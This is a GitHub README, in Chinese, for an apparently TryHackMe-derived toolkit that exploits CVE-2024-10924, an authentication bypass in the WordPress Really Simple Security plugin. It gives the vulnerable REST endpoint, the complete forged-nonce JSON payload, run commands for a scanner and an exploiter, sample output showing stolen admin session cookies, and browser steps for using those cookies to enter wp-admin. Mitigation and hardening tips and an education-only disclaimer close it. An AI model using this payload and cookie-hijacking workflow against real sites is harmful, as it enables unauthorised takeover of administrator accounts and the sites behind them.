Mr-Destroyer/WPGhost
GitHub: Mr-Destroyer/WPGhost
针对CVE-2024-10924的WordPress认证绕过漏洞检测与利用工具,可自动发现并利用Really Simple Security插件缺陷获取任意用户会话Cookie。
Stars: 0 | Forks: 0
# CVE-2024-10924 — WordPress 认证绕过工具包
```
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██║ ██║
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═╝
```
## 📋 目录
- [概述](#overview)
- [漏洞详解](#vulnerability-explained)
- [工具](#tools)
- [用法](#usage)
- [漏洞利用原理](#how-the-exploit-works)
- [WPScan 发现参考](#wpscan-findings-reference)
- [缓解措施](#mitigation)
## 概述
2024 年 11 月,Wordfence 的安全研究员 **István Márton** 在 WordPress 的 **Really Simple Security** 插件(原名 Really Simple SSL)中发现了一个严重的认证绕过漏洞。该漏洞被分配了 **CVE-2024-10924**,评级为 **9.8 CRITICAL**。
该漏洞允许 **未经认证的攻击者** 以 **任意用户** 的身份登录目标网站——包括管理员——而无需知道其密码。攻击者只需要目标用户的 WordPress 用户 ID,该 ID 可以通过 REST API 公开获取。
| 属性 | 详情 |
|---|---|
| **CVE ID** | CVE-2024-10924 |
| **CVSS 评分** | 9.8 CRITICAL |
| **插件** | Really Simple Security (Free, Pro, Pro Multisite) |
| **受影响版本** | 9.0.0 – 9.1.1.1 |
| **攻击向量** | 网络 (未经认证) |
| **发现者** | István Márton, Wordfence |
| **发布时间** | 2024 年 11 月 |
| **修复版本** | 9.1.2 |
## 漏洞详解
该漏洞存在于插件的双因素认证 REST API 端点所使用的 `check_login_and_get_user()` 函数中。
**有缺陷的逻辑(简化版):**
```
function check_login_and_get_user($user_id, $login_nonce) {
$user = get_user_by('id', $user_id);
if (!wp_verify_nonce($login_nonce)) {
// ❌ Error detected but never acted upon!
// Missing: return new WP_Error(...)
}
return $user; // Returns the user object regardless!
}
```
该函数会检查 `login_nonce` 是否有效——但如果验证失败,**却忘记停止执行**。因此,即使使用完全伪造的 nonce(`"1"`),该函数也会返回有效的用户对象并授予已认证的会话。
**修复方法(一行代码):**
```
if (!wp_verify_nonce($login_nonce)) {
return new WP_Error('invalid_nonce', 'Invalid login nonce'); // ✅ Now it stops
}
```
## 工具
本仓库包含两个 Python 工具。两者都 **零外部依赖** —— 仅使用纯 Python 标准库。
### 🔍 `wp_cookie-bypass.py` — 扫描器
检查目标 WordPress 站点是否存在 CVE-2024-10924 漏洞。
**功能:**
- 检测 WordPress 是否存在
- 检查 `/wp-login.php` 和 `/wp-admin/` 的可访问性
- 发现 REST API 端点(支持伪静态链接和查询字符串回退)
- 检查 `reallysimplessl` 插件命名空间
- 通过 REST API 枚举 WordPress 用户
- 尝试对每个发现的用户进行认证绕过
- 明确报告:**存在漏洞 (VULNERABLE)** 或 **不存在漏洞 (NOT VULNERABLE)**
### 💥 `wp_cookie-exploit.py` — 利用工具
完全利用 CVE-2024-10924,并返回每个被绕过账户的用户 ID、用户名和会话 Cookie。
**功能:**
- 自动检测 REST API 基础地址
- 确认插件是否存在
- 枚举用户(若失败则对 ID 1–5 进行暴力破解回退)
- 向每个用户发送利用载荷
- 成功后返回 `user ID`、`username` 和完整的 `session cookies`
- 告知您如何使用这些 Cookie 访问 wp-admin
## 用法



无需安装——只需 Python 3。
```
# Scanner — 检查目标是否存在漏洞
python3 wp_cookie-bypass.py http://target.com
# Exploiter — 绕过认证并获取 cookies
python3 wp_cookie-exploit.py http://target.com
```
**示例输出 (利用工具):**
```
╔═══════════════════════════════════════════════════════╗
║ CVE-2024-10924 — Auth Bypass Exploiter ║
║ Really Simple Security Plugin | WordPress ║
╚═══════════════════════════════════════════════════════╝
Target : http://vulnerable.thm:8080
─────────────────────────────────────────────────────
[*] Detecting REST API...
[✓] REST API → http://vulnerable.thm:8080/index.php?rest_route=
[*] Checking for Really Simple Security plugin...
[✓] Plugin detected — target may be vulnerable!
[*] Enumerating WordPress users...
[✓] User found → admin (ID: 1)
─────────────────────────────────────────────────────
LAUNCHING EXPLOIT — CVE-2024-10924
─────────────────────────────────────────────────────
[*] Targeting → admin (ID: 1)
[✓] BYPASS SUCCESSFUL!
User : admin
ID : 1
Cookie : wordpress_eb51341d... = admin%7C17744422...
Cookie : wordpress_logged_in_eb51341d... = admin%7C17744422...
═════════════════════════════════════════════════════
✓ EXPLOITED — 1 account(s) compromised
→ admin (ID: 1)
Paste cookies into browser → DevTools → Application → Cookies
Then navigate to http://vulnerable.thm:8080/wp-admin/
═════════════════════════════════════════════════════
```
**在浏览器中使用 Cookie:**
1. 打开浏览器开发者工具 (`F12`)
2. 进入 **Application** → **Cookies** → 选择目标域名
3. 粘贴两个 Cookie 值 (`wordpress_*` 和 `wordpress_logged_in_*`)
4. 访问 `/wp-admin/` —— 您已成功登录!
## 漏洞利用原理
存在漏洞的 REST API 端点为:
```
POST /wp-json/reallysimplessl/v1/two_fa/skip_onboarding
```
(如果关闭了伪静态链接,则通过查询字符串访问:)
```
POST /index.php?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding
```
利用工具在未经事先认证的情况下发送此载荷:
```
{
"user_id": 1,
"login_nonce": "1",
"redirect_to": "/wp-admin/"
}
```
由于 `check_login_and_get_user()` 中缺少错误处理,服务器会响应 **HTTP 200** 并设置完全认证的 WordPress 会话 Cookie —— 而无需验证 nonce 或要求密码。
该端点接受 **3 个参数**:`user_id`、`login_nonce` 和 `redirect_to`。
## WPScan 发现参考
使用 WPScan 扫描 WordPress 目标时,以下是需要注意的关键发现及其应对措施:
| 发现 | 风险 | 行动 |
|---|---|---|
| `xmlrpc.php` 可访问 | 🔴 高 | 暴力破解登录、Pingback 滥用、SSRF |
| `readme.html` 暴露 | 🟡 中 | 泄露 WP 版本 → 搜索 CVE |
| 上传目录列表已启用 | 🔴 高 | 浏览敏感/上传的文件 |
| WordPress 版本过时 | 🔴 高 | 对照已知 CVE 进行交叉参考 |
| 用户枚举成功 | 🔴 高 | 使用用户名进行密码或绕过攻击 |
| 服务器版本头暴露 | 🟡 中 | Apache/Nginx 版本指纹识别 |
| `wp-cron.php` 可访问 | 🟠 中 | 可能通过重复触发导致 DoS |
在我们的 TryHackMe 会话中,WPScan 发现了:
- WordPress **6.7.1** (标记为不安全)
- Ubuntu 上的 Apache **2.4.41**
- `xmlrpc.php` 可访问
- `readme.html` 可访问
- 上传目录列表已启用
- 用户:**admin** 和 **tesla**
## 缓解措施
**如果您管理着 WordPress 站点:**
1. 立即将 Really Simple Security 插件 **更新** 到 **9.1.2 或更高版本**
2. 如果无法立即更新,请暂时 **禁用 2FA**(该漏洞需要启用 2FA 才能利用)
3. 添加 **WAF 规则** 以阻止对 `/reallysimplessl/v1/two_fa/` 端点的未经认证 POST 请求
4. 定期根据已知 CVE 数据库审计已安装的插件
**常规 WordPress 加固:**
- 如果不需要,禁用 `xmlrpc.php`
- 删除 `readme.html`
- 在 Apache/Nginx 配置中禁用目录列表
- 阻止通过 REST API 进行用户枚举
- 保持 WordPress 核心和所有插件为最新版本
## 免责声明
此工具包是为 **CVE-2024-10924** 开发的,仅用于教育目的。请仅针对您拥有或已获得明确书面许可进行测试的系统使用这些工具。作者不对任何滥用行为负责。
**Made by MrDestroyer - ZIM**
YouTube: [Study_Hard69](https://www.youtube.com/Study_Hard69)
TryHackMe: [/p/MohammadZim](https://tryhackme.com/p/MohammadZim)
标签:CISA项目, CVE-2024-10924, CVSS 9.8, Python安全工具, Really Simple Security, Web安全, WordPress安全, WordPress漏洞扫描器, 协议分析, 操作系统监控, 未授权访问, 权限提升, 管理员账户劫持, 蓝队分析, 身份验证绕过